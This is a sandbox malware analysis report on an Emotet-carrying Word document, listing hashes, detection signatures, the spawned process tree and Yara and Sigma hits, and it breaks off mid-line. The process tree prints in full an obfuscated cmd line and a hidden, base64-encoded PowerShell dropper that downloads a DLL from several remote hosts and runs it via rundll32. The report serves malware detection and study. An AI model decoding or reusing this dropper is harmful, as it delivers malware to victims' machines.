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Analysis Report N00048481397007.doc

Overview

General Information

Sample Name:N00048481397007.doc
Analysis ID:344134
MD5:ad7db0f946bc5c3bb051cb04f359e6a4
SHA1:24d54a6a1c4280b948fb245c97e4823d319eefe1
SHA256:4fc6cbe4fae599ca6ab094dc1115909a687754f49a3ff31671ae4fbc7b3296d1

Most interesting Screenshot:

Detection

Emotet
Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Antivirus detection for URL or domain
Multi AV Scanner detection for domain / URL
Multi AV Scanner detection for submitted file
Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)
Yara detected Emotet
Creates processes via WMI
Document contains an embedded VBA with many GOTO operations indicating source code obfuscation
Encrypted powershell cmdline option found
Hides that the sample has been downloaded from the Internet (zone.identifier)
Obfuscated command line found
Potential dropper URLs found in powershell memory
Sigma detected: Suspicious Call by Ordinal
Sigma detected: Suspicious Encoded PowerShell Command Line
Suspicious powershell command line found
Very long command line found
Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)
Contains functionality to read the PEB
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates files inside the system directory
Detected potential crypto function
Document contains an embedded VBA macro which executes code when the document is opened / closed
Document contains embedded VBA macros
Enables debug privileges
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
Potential document exploit detected (performs DNS queries)
Potential document exploit detected (performs HTTP gets)
Potential document exploit detected (unknown TCP traffic)
Queries the volume information (name, serial number etc) of a device
Uses code obfuscation techniques (call, push, ret)
Uses insecure TLS / SSL version for HTTPS connection
Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Startup

  • System is w7x64
  • WINWORD.EXE (PID: 1144 cmdline: 'C:\Program Files\Microsoft Office\Office14\WINWORD.EXE' /Automation -Embedding MD5: 95C38D04597050285A18F66039EDB456)
  • cmd.exe (PID: 2372 cmdline: cmd cmd /c m^s^g %username% /v Wo^rd exp^erien^ced an er^ror tryi^ng to op^en th^e fi^le. & p^owe^rs^he^ll^ -w hi^dd^en -^e^nc IAAgAFMAZQBUAC0ASQBUAEUATQAgACAAKAAnAHYAJwArACcAQQBSAGkAYQAnACsAJwBCAGwARQA6AGYAJwArACcANwBEACcAKwAnAEgAJwApACAAIAAoACAAWwBUAFkAUABlAF0AKAAiAHsAMgB9AHsAMAB9AHsANAB9AHsAMQB9AHsAMwB9ACIALQBGACAAJwBTAHQAZQBNAC4AaQBPACcALAAnAGMAdABvACcALAAnAHMAeQAnACwAJwByAHkAJwAsACcALgBkAGkAcgBlACcAKQApACAAIAA7ACAAcwBFAHQALQBJAHQARQBNACAAVgBhAFIAaQBBAEIATABlADoAUwBnADIAeABVACAAKAAgACAAWwBUAHkAUABlAF0AKAAiAHsANwB9AHsANAB9AHsANQB9AHsAMQB9AHsAOAB9AHsAMgB9AHsAMAB9AHsANgB9AHsAMwB9ACIALQBGACcAQQBuAEEAZwAnACwAJwBDAEUAUABvAEkAbgAnACwAJwBNACcALAAnAFIAJwAsACcAVABFAG0ALgBOAGUAdAAuAFMARQByACcALAAnAHYASQAnACwAJwBFACcALAAnAFMAWQBzACcALAAnAHQAJwApACAAIAApADsAIAAgACQAWgB6ADgAMgBfADQAMgA9ACQAQgAwADMASQAgACsAIABbAGMAaABhAHIAXQAoADMAMwApACAAKwAgACQASwA3ADgAUwA7ACQATwAwADAARwA9ACgAJwBFAF8AJwArACcANgBaACcAKQA7ACAAIAAkAEYANwBEAEgAOgA6ACIAYwByAEUAQQBgAFQARQBEAEkAYABSAGAAZQBjAFQATwBSAHkAIgAoACQASABPAE0ARQAgACsAIAAoACgAKAAnAGUAZwBUAEwAJwArACcAeABiACcAKwAnAGYAJwApACsAJwB5AHYAJwArACcAawAnACsAJwBlAGcAJwArACcAVAAnACsAJwBHAGMAJwArACgAJwBxAHQAJwArACcAcgBfAGYAJwApACsAKAAnAGUAZwAnACsAJwBUACcAKQApAC4AIgByAGUAUABMAGAAQQBDAEUAIgAoACgAWwBDAEgAQQBSAF0AMQAwADEAKwBbAEMASABBAFIAXQAxADAAMwArAFsAQwBIAEEAUgBdADgANAApACwAWwBzAHQAcgBpAG4AZwBdAFsAQwBIAEEAUgBdADkAMgApACkAKQA7ACQAUAA0ADYAVQA9ACgAJwBBACcAKwAoACcANgA1ACcAKwAnAFEAJwApACkAOwAgACAAJABTAEcAMgBYAFUAOgA6ACIAcwBgAEUAQwB1AGAAUgBpAFQAWQBwAHIATwBUAG8AYABjAGAATwBsACIAIAA9ACAAKAAnAFQAbAAnACsAKAAnAHMAMQAnACsAJwAyACcAKQApADsAJABJAF8ANwBSAD0AKAAnAEQAJwArACgAJwA3ADUAJwArACcARwAnACkAKQA7ACQAWQB6AGoAcQB4AHgAcQAgAD0AIAAoACcAQwA0ACcAKwAnADYAVAAnACkAOwAkAEwAXwBfAFMAPQAoACgAJwBQAF8AJwArACcAXwAnACkAKwAnAEQAJwApADsAJABVAGsAMQB0AHQAMQBfAD0AJABIAE8ATQBFACsAKAAoACcASAAnACsAKAAnAE8AeAAnACsAJwBMAHgAYgBmACcAKQArACcAeQAnACsAJwB2ACcAKwAoACcAawBIAE8AeAAnACsAJwBHAGMAcQAnACkAKwAnAHQAJwArACgAJwByAF8AZgAnACsAJwBIAE8AeAAnACkAKQAuACIAcgBFAHAAbABgAEEAYwBlACIAKAAoACcASABPACcAKwAnAHgAJwApACwAWwBzAHQAUgBJAE4AZwBdAFsAQwBIAGEAUgBdADkAMgApACkAKwAkAFkAegBqAHEAeAB4AHEAKwAnAC4AZAAnACAAKwAgACcAbABsACcAOwAkAFQANQA1AEwAPQAoACgAJwBZACcAKwAnADIAMQAnACkAKwAnAFEAJwApADsAJABKAGcANAAxAHMAYwB3AD0AJwBoACcAIAArACAAJwB0AHQAJwAgACsAIAAnAHAAJwA7ACQATgBpAG8AbwBpADIAcQA9ACgAKAAnAG4AJwArACcAcwAgAHcAdQAgACcAKQArACgAJwBkACcAKwAnAGIAIAAnACkAKwAoACcAbgBkACcAKwAnADoAJwApACsAKAAnAC8ALwAnACsAJwBuAGkAJwApACsAJwBnAGgAJwArACgAJwB0ACcAKwAnAGwAaQBmAGUAbQB1ACcAKwAnAG0AYgAnACkAKwAnAGEAJwArACgAJwBpAC4AJwArACcAYwBsACcAKQArACgAJwB1AGIALwB4ACcAKwAnAC8AMAB3ACcAKwAnAEIAJwApACsAKAAnAEQAMwAnACsAJwAvACEAbgAnACsAJwBzACAAdwAnACkAKwAnAHUAIAAnACsAJwBkACcAKwAnAGIAJwArACgAJwAgAG4AZAAnACsAJwBzACcAKQArACcAOgAvACcAKwAoACcALwAnACsAJwBzAGgAbwAnACkAKwAoACcAcAAuAG4AbwAnACsAJwB3ACcAKQArACcAZgAnACsAKAAnAGEAbAAuAGQAJwArACcAZQAnACkAKwAnAHYAJwArACcALwB3ACcAKwAoACcAcAAtAGkAbgAnACsAJwBjACcAKQArACgAJwBsAHUAJwArACcAZABlACcAKQArACgAJwBzAC8AUgAnACsAJwBsAE0ATwAnACsAJwBiAGYAJwApACsAKAAnADIAagAwACcAKwAnAC8AIQBuAHMAIAB3ACcAKwAnAHUAJwApACsAKAAnACAAJwArACcAZABiACAAJwArACcAbgBkADoALwAnACkAKwAnAC8AJwArACgAJwBlAC0AJwArACcAdwAnACsAJwBkAGUAcwBpAGcAbgAnACkAKwAnAC4AJwArACgAJwBlACcAKwAnAHUALwB3AHAAJwApACsAJwAtACcAKwAnAGMAJwArACgAJwBvACcAKwAnAG4AdABlACcAKQArACgAJwBuAHQAJwArACcALwAnACsAJwBiAG4AMQBJAGcAJwArACcARAAnACsAJwBlAGoAaAAvACEAbgBzACAAJwApACsAKAAnAHcAdQAnACsAJwAgAGQAJwArACcAYgAgAG4AZAAnACkAKwAnADoALwAnACsAJwAvACcAKwAnAHQAJwArACgAJwByAGEAJwArACcAdQBtAGYAJwApACsAJwByACcAKwAnAGEAJwArACgAJwB1AGUAJwArACcAbgAnACkAKwAoACcALQB1AGsAJwArACcAcgAnACkAKwAoACcAYQBpACcAKwAnAG4AZQAnACsAJwAuAGQAZQAnACkAKwAnAC8AYgAnACsAKAAnAGkAbgAnACsAJwAvAEoAeQBlACcAKQArACgAJwBTAC8AIQAnACsAJwBuAHMAIAB3AHUAIAAnACkAKwAoACcAZAAnACsAJwBiACAAJwApACsAKAAnAG4AJwArACcAZABzADoAJwApACsAKAAnAC8ALwAnACsAJwBqAGYAbABtACcAKQArACgAJwBrAHQAJwArACcAZwAuAHcAcABjACcAKQArACcAbwBtACcAKwAoACcAcwB0AGEAJwArACcAZwBpACcAKwAnAG4AZwAuACcAKwAnAGMAJwArACcAbwBtAC8AdwBwACcAKwAnAC0AYwBvAG4AdABlAG4AdAAnACkAKwAoACcALwBBAEsAJwArACcALwAnACkAKwAoACcAIQBuAHMAJwArACcAIAB3AHUAIAAnACkAKwAoACcAZABiACAAJwArACcAbgBkACcAKQArACgAJwBzADoAJwArACcALwAvAGwAaQBuACcAKQArACcAaABrACcAKwAoACcAaQAnACsAJwBlAG4AJwApACsAJwBtACcAKwAoACcAYQAnACsAJwB5AHQAaQAnACsAJwBuAGgALgB0ACcAKQArACcAYwAnACsAJwB0AGUAJwArACgAJwBkAHUALgBjAG8AJwArACcAbQAnACsAJwAvAHcAcAAtACcAKwAnAHMAbgAnACkAKwAnAGEAJwArACgAJwBwAHMAJwArACcAaABvACcAKwAnAHQAcwAvAFYAJwApACsAJwB6ACcAKwAnAEoATQAnACsAJwAvACcAKQAuACIAcgBlAFAAYABMAEEAYwBlACIAKAAoACgAJwBuAHMAJwArACcAIAB3ACcAKQArACcAdQAnACsAKAAnACAAZABiACAAbgAnACsAJwBkACcAKQApACwAKABbAGEAcgByAGEAeQBdACgAJwBuAGoAJwAsACcAdAByACcAKQAsACcAeQBqACcALAAnAHMAYwAnACwAJABKAGcANAAxAHMAYwB3ACwAJwB3AGQAJwApAFsAMwBdACkALgAiAHMAUABsAGAAaQBUACIAKAAkAE8AMwAyAE8AIAArACAAJABaAHoAOAAyAF8ANAAyACAAKwAgACQATwA3ADQAWQApADsAJABIADAAOABUAD0AKAAoACcAQgA2ACcAKwAnADgAJwApACsAJwBKACcAKQA7AGYAbwByAGUAYQBjAGgAIAAoACQAVwByAGEAdgB0AGkAZQAgAGkAbgAgACQATgBpAG8AbwBpADIAcQApAHsAdAByAHkAewAoACYAKAAnAE4AZQB3AC0AJwArACcATwAnACsAJwBiAGoAZQAnACsAJwBjAHQAJwApACAAcwBZAHMAVABlAG0ALgBOAEUAdAAuAFcAZQBiAEMAbABpAEUATgB0ACkALgAiAEQATwBXAGAATgBsAGAATwBhAGQAZgBgAEkATABlACIAKAAkAFcAcgBhAHYAdABpAGUALAAgACQAVQBrADEAdAB0ADEAXwApADsAJABLAF8ANQBCAD0AKAAnAFQAMgAnACsAJwBfAFYAJwApADsASQBmACAAKAAoAC4AKAAnAEcAZQB0ACcAKwAnAC0ASQB0AGUAbQAnACkAIAAkAFUAawAxAHQAdAAxAF8AKQAuACIAbABlAGAATgBnAHQAaAAiACAALQBnAGUAIAAzADEAOAAxADQAKQAgAHsAJgAoACcAcgB1AG4AZABsAGwAMwAnACsAJwAyACcAKQAgACQAVQBrADEAdAB0ADEAXwAsACgAKAAnAEEAbgAnACsAJwB5AFMAdAAnACkAKwAoACcAcgAnACsAJwBpAG4AJwApACsAJwBnACcAKQAuACIAdABvAFMAVAByAGkAYABOAEcAIgAoACkAOwAkAEcAMAAzAEwAPQAoACcAVQA1ACcAKwAnADYAUwAnACkAOwBiAHIAZQBhAGsAOwAkAFIAMQAzAEoAPQAoACcAUgA4ACcAKwAnAF8ASgAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEoAOAAyAEUAPQAoACcAVwAnACsAKAAnADIAOAAnACsAJwBMACcAKQApAA== MD5: 5746BD7E255DD6A8AFA06F7C42C1BA41)
    • msg.exe (PID: 2532 cmdline: msg user /v Word experienced an error trying to open the file. MD5: 2214979661E779C3E3C33D4F14E6F3AC)
    • powershell.exe (PID: 2584 cmdline: powershell -w hidden -enc IAAgAFMAZQBUAC0ASQBUAEUATQAgACAAKAAnAHYAJwArACcAQQBSAGkAYQAnACsAJwBCAGwARQA6AGYAJwArACcANwBEACcAKwAnAEgAJwApACAAIAAoACAAWwBUAFkAUABlAF0AKAAiAHsAMgB9AHsAMAB9AHsANAB9AHsAMQB9AHsAMwB9ACIALQBGACAAJwBTAHQAZQBNAC4AaQBPACcALAAnAGMAdABvACcALAAnAHMAeQAnACwAJwByAHkAJwAsACcALgBkAGkAcgBlACcAKQApACAAIAA7ACAAcwBFAHQALQBJAHQARQBNACAAVgBhAFIAaQBBAEIATABlADoAUwBnADIAeABVACAAKAAgACAAWwBUAHkAUABlAF0AKAAiAHsANwB9AHsANAB9AHsANQB9AHsAMQB9AHsAOAB9AHsAMgB9AHsAMAB9AHsANgB9AHsAMwB9ACIALQBGACcAQQBuAEEAZwAnACwAJwBDAEUAUABvAEkAbgAnACwAJwBNACcALAAnAFIAJwAsACcAVABFAG0ALgBOAGUAdAAuAFMARQByACcALAAnAHYASQAnACwAJwBFACcALAAnAFMAWQBzACcALAAnAHQAJwApACAAIAApADsAIAAgACQAWgB6ADgAMgBfADQAMgA9ACQAQgAwADMASQAgACsAIABbAGMAaABhAHIAXQAoADMAMwApACAAKwAgACQASwA3ADgAUwA7ACQATwAwADAARwA9ACgAJwBFAF8AJwArACcANgBaACcAKQA7ACAAIAAkAEYANwBEAEgAOgA6ACIAYwByAEUAQQBgAFQARQBEAEkAYABSAGAAZQBjAFQATwBSAHkAIgAoACQASABPAE0ARQAgACsAIAAoACgAKAAnAGUAZwBUAEwAJwArACcAeABiACcAKwAnAGYAJwApACsAJwB5AHYAJwArACcAawAnACsAJwBlAGcAJwArACcAVAAnACsAJwBHAGMAJwArACgAJwBxAHQAJwArACcAcgBfAGYAJwApACsAKAAnAGUAZwAnACsAJwBUACcAKQApAC4AIgByAGUAUABMAGAAQQBDAEUAIgAoACgAWwBDAEgAQQBSAF0AMQAwADEAKwBbAEMASABBAFIAXQAxADAAMwArAFsAQwBIAEEAUgBdADgANAApACwAWwBzAHQAcgBpAG4AZwBdAFsAQwBIAEEAUgBdADkAMgApACkAKQA7ACQAUAA0ADYAVQA9ACgAJwBBACcAKwAoACcANgA1ACcAKwAnAFEAJwApACkAOwAgACAAJABTAEcAMgBYAFUAOgA6ACIAcwBgAEUAQwB1AGAAUgBpAFQAWQBwAHIATwBUAG8AYABjAGAATwBsACIAIAA9ACAAKAAnAFQAbAAnACsAKAAnAHMAMQAnACsAJwAyACcAKQApADsAJABJAF8ANwBSAD0AKAAnAEQAJwArACgAJwA3ADUAJwArACcARwAnACkAKQA7ACQAWQB6AGoAcQB4AHgAcQAgAD0AIAAoACcAQwA0ACcAKwAnADYAVAAnACkAOwAkAEwAXwBfAFMAPQAoACgAJwBQAF8AJwArACcAXwAnACkAKwAnAEQAJwApADsAJABVAGsAMQB0AHQAMQBfAD0AJABIAE8ATQBFACsAKAAoACcASAAnACsAKAAnAE8AeAAnACsAJwBMAHgAYgBmACcAKQArACcAeQAnACsAJwB2ACcAKwAoACcAawBIAE8AeAAnACsAJwBHAGMAcQAnACkAKwAnAHQAJwArACgAJwByAF8AZgAnACsAJwBIAE8AeAAnACkAKQAuACIAcgBFAHAAbABgAEEAYwBlACIAKAAoACcASABPACcAKwAnAHgAJwApACwAWwBzAHQAUgBJAE4AZwBdAFsAQwBIAGEAUgBdADkAMgApACkAKwAkAFkAegBqAHEAeAB4AHEAKwAnAC4AZAAnACAAKwAgACcAbABsACcAOwAkAFQANQA1AEwAPQAoACgAJwBZACcAKwAnADIAMQAnACkAKwAnAFEAJwApADsAJABKAGcANAAxAHMAYwB3AD0AJwBoACcAIAArACAAJwB0AHQAJwAgACsAIAAnAHAAJwA7ACQATgBpAG8AbwBpADIAcQA9ACgAKAAnAG4AJwArACcAcwAgAHcAdQAgACcAKQArACgAJwBkACcAKwAnAGIAIAAnACkAKwAoACcAbgBkACcAKwAnADoAJwApACsAKAAnAC8ALwAnACsAJwBuAGkAJwApACsAJwBnAGgAJwArACgAJwB0ACcAKwAnAGwAaQBmAGUAbQB1ACcAKwAnAG0AYgAnACkAKwAnAGEAJwArACgAJwBpAC4AJwArACcAYwBsACcAKQArACgAJwB1AGIALwB4ACcAKwAnAC8AMAB3ACcAKwAnAEIAJwApACsAKAAnAEQAMwAnACsAJwAvACEAbgAnACsAJwBzACAAdwAnACkAKwAnAHUAIAAnACsAJwBkACcAKwAnAGIAJwArACgAJwAgAG4AZAAnACsAJwBzACcAKQArACcAOgAvACcAKwAoACcALwAnACsAJwBzAGgAbwAnACkAKwAoACcAcAAuAG4AbwAnACsAJwB3ACcAKQArACcAZgAnACsAKAAnAGEAbAAuAGQAJwArACcAZQAnACkAKwAnAHYAJwArACcALwB3ACcAKwAoACcAcAAtAGkAbgAnACsAJwBjACcAKQArACgAJwBsAHUAJwArACcAZABlACcAKQArACgAJwBzAC8AUgAnACsAJwBsAE0ATwAnACsAJwBiAGYAJwApACsAKAAnADIAagAwACcAKwAnAC8AIQBuAHMAIAB3ACcAKwAnAHUAJwApACsAKAAnACAAJwArACcAZABiACAAJwArACcAbgBkADoALwAnACkAKwAnAC8AJwArACgAJwBlAC0AJwArACcAdwAnACsAJwBkAGUAcwBpAGcAbgAnACkAKwAnAC4AJwArACgAJwBlACcAKwAnAHUALwB3AHAAJwApACsAJwAtACcAKwAnAGMAJwArACgAJwBvACcAKwAnAG4AdABlACcAKQArACgAJwBuAHQAJwArACcALwAnACsAJwBiAG4AMQBJAGcAJwArACcARAAnACsAJwBlAGoAaAAvACEAbgBzACAAJwApACsAKAAnAHcAdQAnACsAJwAgAGQAJwArACcAYgAgAG4AZAAnACkAKwAnADoALwAnACsAJwAvACcAKwAnAHQAJwArACgAJwByAGEAJwArACcAdQBtAGYAJwApACsAJwByACcAKwAnAGEAJwArACgAJwB1AGUAJwArACcAbgAnACkAKwAoACcALQB1AGsAJwArACcAcgAnACkAKwAoACcAYQBpACcAKwAnAG4AZQAnACsAJwAuAGQAZQAnACkAKwAnAC8AYgAnACsAKAAnAGkAbgAnACsAJwAvAEoAeQBlACcAKQArACgAJwBTAC8AIQAnACsAJwBuAHMAIAB3AHUAIAAnACkAKwAoACcAZAAnACsAJwBiACAAJwApACsAKAAnAG4AJwArACcAZABzADoAJwApACsAKAAnAC8ALwAnACsAJwBqAGYAbABtACcAKQArACgAJwBrAHQAJwArACcAZwAuAHcAcABjACcAKQArACcAbwBtACcAKwAoACcAcwB0AGEAJwArACcAZwBpACcAKwAnAG4AZwAuACcAKwAnAGMAJwArACcAbwBtAC8AdwBwACcAKwAnAC0AYwBvAG4AdABlAG4AdAAnACkAKwAoACcALwBBAEsAJwArACcALwAnACkAKwAoACcAIQBuAHMAJwArACcAIAB3AHUAIAAnACkAKwAoACcAZABiACAAJwArACcAbgBkACcAKQArACgAJwBzADoAJwArACcALwAvAGwAaQBuACcAKQArACcAaABrACcAKwAoACcAaQAnACsAJwBlAG4AJwApACsAJwBtACcAKwAoACcAYQAnACsAJwB5AHQAaQAnACsAJwBuAGgALgB0ACcAKQArACcAYwAnACsAJwB0AGUAJwArACgAJwBkAHUALgBjAG8AJwArACcAbQAnACsAJwAvAHcAcAAtACcAKwAnAHMAbgAnACkAKwAnAGEAJwArACgAJwBwAHMAJwArACcAaABvACcAKwAnAHQAcwAvAFYAJwApACsAJwB6ACcAKwAnAEoATQAnACsAJwAvACcAKQAuACIAcgBlAFAAYABMAEEAYwBlACIAKAAoACgAJwBuAHMAJwArACcAIAB3ACcAKQArACcAdQAnACsAKAAnACAAZABiACAAbgAnACsAJwBkACcAKQApACwAKABbAGEAcgByAGEAeQBdACgAJwBuAGoAJwAsACcAdAByACcAKQAsACcAeQBqACcALAAnAHMAYwAnACwAJABKAGcANAAxAHMAYwB3ACwAJwB3AGQAJwApAFsAMwBdACkALgAiAHMAUABsAGAAaQBUACIAKAAkAE8AMwAyAE8AIAArACAAJABaAHoAOAAyAF8ANAAyACAAKwAgACQATwA3ADQAWQApADsAJABIADAAOABUAD0AKAAoACcAQgA2ACcAKwAnADgAJwApACsAJwBKACcAKQA7AGYAbwByAGUAYQBjAGgAIAAoACQAVwByAGEAdgB0AGkAZQAgAGkAbgAgACQATgBpAG8AbwBpADIAcQApAHsAdAByAHkAewAoACYAKAAnAE4AZQB3AC0AJwArACcATwAnACsAJwBiAGoAZQAnACsAJwBjAHQAJwApACAAcwBZAHMAVABlAG0ALgBOAEUAdAAuAFcAZQBiAEMAbABpAEUATgB0ACkALgAiAEQATwBXAGAATgBsAGAATwBhAGQAZgBgAEkATABlACIAKAAkAFcAcgBhAHYAdABpAGUALAAgACQAVQBrADEAdAB0ADEAXwApADsAJABLAF8ANQBCAD0AKAAnAFQAMgAnACsAJwBfAFYAJwApADsASQBmACAAKAAoAC4AKAAnAEcAZQB0ACcAKwAnAC0ASQB0AGUAbQAnACkAIAAkAFUAawAxAHQAdAAxAF8AKQAuACIAbABlAGAATgBnAHQAaAAiACAALQBnAGUAIAAzADEAOAAxADQAKQAgAHsAJgAoACcAcgB1AG4AZABsAGwAMwAnACsAJwAyACcAKQAgACQAVQBrADEAdAB0ADEAXwAsACgAKAAnAEEAbgAnACsAJwB5AFMAdAAnACkAKwAoACcAcgAnACsAJwBpAG4AJwApACsAJwBnACcAKQAuACIAdABvAFMAVAByAGkAYABOAEcAIgAoACkAOwAkAEcAMAAzAEwAPQAoACcAVQA1ACcAKwAnADYAUwAnACkAOwBiAHIAZQBhAGsAOwAkAFIAMQAzAEoAPQAoACcAUgA4ACcAKwAnAF8ASgAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEoAOAAyAEUAPQAoACcAVwAnACsAKAAnADIAOAAnACsAJwBMACcAKQApAA== MD5: 852D67A27E454BD389FA7F02A8CBE23F)
      • rundll32.exe (PID: 2712 cmdline: 'C:\Windows\system32\rundll32.exe' C:\Users\user\Lxbfyvk\Gcqtr_f\C46T.dll AnyString MD5: DD81D91FF3B0763C392422865C9AC12E)
        • rundll32.exe (PID: 2688 cmdline: 'C:\Windows\system32\rundll32.exe' C:\Users\user\Lxbfyvk\Gcqtr_f\C46T.dll AnyString MD5: 51138BEEA3E2C21EC44D0932C71762A8)
          • rundll32.exe (PID: 2692 cmdline: C:\Windows\SysWOW64\rundll32.exe 'C:\Users\user\Lxbfyvk\Gcqtr_f\C46T.dll',#1 MD5: 51138BEEA3E2C21EC44D0932C71762A8)
            • rundll32.exe (PID: 260 cmdline: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Itwxrtu\wpjaux.bsi',JnNGuImBTNGmQ MD5: 51138BEEA3E2C21EC44D0932C71762A8)
              • rundll32.exe (PID: 2836 cmdline: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Itwxrtu\wpjaux.bsi',#1 MD5: 51138BEEA3E2C21EC44D0932C71762A8)
                • rundll32.exe (PID: 2468 cmdline: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Gesxrslxkhcnse\kfdzbsrddlvak.pye',cGgBEdar MD5: 51138BEEA3E2C21EC44D0932C71762A8)
                  • rundll32.exe (PID: 2428 cmdline: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Gesxrslxkhcnse\kfdzbsrddlvak.pye',#1 MD5: 51138BEEA3E2C21EC44D0932C71762A8)
                    • rundll32.exe (PID: 2512 cmdline: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Sqecxzw\ccpuwn.kyt',VWMVjHoJWTwKe MD5: 51138BEEA3E2C21EC44D0932C71762A8)
                      • rundll32.exe (PID: 2416 cmdline: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Sqecxzw\ccpuwn.kyt',#1 MD5: 51138BEEA3E2C21EC44D0932C71762A8)
                        • rundll32.exe (PID: 2832 cmdline: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Swvcgiaelz\sxbljovgm.oha',GOGZBCfUK MD5: 51138BEEA3E2C21EC44D0932C71762A8)
                          • rundll32.exe (PID: 3040 cmdline: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Swvcgiaelz\sxbljovgm.oha',#1 MD5: 51138BEEA3E2C21EC44D0932C71762A8)
                            • rundll32.exe (PID: 2260 cmdline: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Qxunlgclf\rrjtkhok.xfz',saFFaIU MD5: 51138BEEA3E2C21EC44D0932C71762A8)
                              • rundll32.exe (PID: 2240 cmdline: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Qxunlgclf\rrjtkhok.xfz',#1 MD5: 51138BEEA3E2C21EC44D0932C71762A8)
                                • rundll32.exe (PID: 1068 cmdline: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Uaceqxeeiarsm\ncdxfzylbgum.nhe',sKCf MD5: 51138BEEA3E2C21EC44D0932C71762A8)
                                  • rundll32.exe (PID: 1836 cmdline: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Uaceqxeeiarsm\ncdxfzylbgum.nhe',#1 MD5: 51138BEEA3E2C21EC44D0932C71762A8)
                                    • rundll32.exe (PID: 1360 cmdline: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Yorvuovvtuqtxoj\wcvkwfajnrxlso.qcf',HPKSdoSG MD5: 51138BEEA3E2C21EC44D0932C71762A8)
  • cleanup

Malware Configuration

Threatname: Emotet

{"RSA Public Key": "MHwwDQYJKoZIhvcNAQEBBQADawAwaAJhAM/TXLLvX91I6dVMYe+T1PPO6mpcg7OJ\ncMl9o/g4nUhZOp8fAAmQl8XMXeGvDhZXTyX1AXf401iPFui0RB6glhl/7/djvi7j\nl32lAhyBANpKGty8xf3J5kGwwClnG/CXHQIDAQAB"}

Yara Overview

Memory Dumps

SourceRuleDescriptionAuthorStrings
00000013.00000002.2111956527.0000000000190000.00000040.00000001.sdmpJoeSecurity_EmotetYara detected EmotetJoe Security
    0000000F.00000002.2106050192.0000000000310000.00000040.00000001.sdmpJoeSecurity_EmotetYara detected EmotetJoe Security
      00000008.00000002.2091845776.0000000001FF0000.00000040.00020000.sdmpJoeSecurity_EmotetYara detected EmotetJoe Security
        00000007.00000002.2088195670.0000000000230000.00000040.00000001.sdmpJoeSecurity_EmotetYara detected EmotetJoe Security
          00000012.00000002.2110708042.00000000001B0000.00000040.00000001.sdmpJoeSecurity_EmotetYara detected EmotetJoe Security
            Click to see the 37 entries

            Unpacked PEs

            SourceRuleDescriptionAuthorStrings
            17.2.rundll32.exe.370000.0.unpackJoeSecurity_EmotetYara detected EmotetJoe Security
              13.2.rundll32.exe.410000.1.raw.unpackJoeSecurity_EmotetYara detected EmotetJoe Security
                15.2.rundll32.exe.310000.0.unpackJoeSecurity_EmotetYara detected EmotetJoe Security
                  12.2.rundll32.exe.400000.1.unpackJoeSecurity_EmotetYara detected EmotetJoe Security
                    10.2.rundll32.exe.5d0000.0.raw.unpackJoeSecurity_EmotetYara detected EmotetJoe Security
                      Click to see the 51 entries

                      Sigma Overview

                      System Summary:

                      barindex
                      Sigma detected: Suspicious Call by OrdinalShow sources
                      Source: Process startedAuthor: Florian Roth: Data: Command: C:\Windows\SysWOW64\rundll32.exe 'C:\Users\user\Lxbfyvk\Gcqtr_f\C46T.dll',#1, CommandLine: C:\Windows\SysWOW64\rundll32.exe 'C:\Users\user\Lxbfyvk\Gcqtr_f\C46T.dll',#1, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\rundll32.exe, NewProcessName: C:\Windows\SysWOW64\rundll32.exe, OriginalFileName: C:\Windows\SysWOW64\rundll32.exe, ParentCommandLine: 'C:\Windows\system32\rundll32.exe' C:\Users\user\Lxbfyvk\Gcqtr_f\C46T.dll AnyString, ParentImage: C:\Windows\SysWOW64\rundll32.exe, ParentProcessId: 2688, ProcessCommandLine: C:\Windows\SysWOW64\rundll32.exe 'C:\Users\user\Lxbfyvk\Gcqtr_f\C46T.dll',#1, ProcessId: 2692
                      Sigma detected: Suspicious Encoded PowerShell Command LineShow sources
                      Source: Process startedAuthor: Florian Roth, Markus Neis: Data: Command: powershell -w hidden -enc 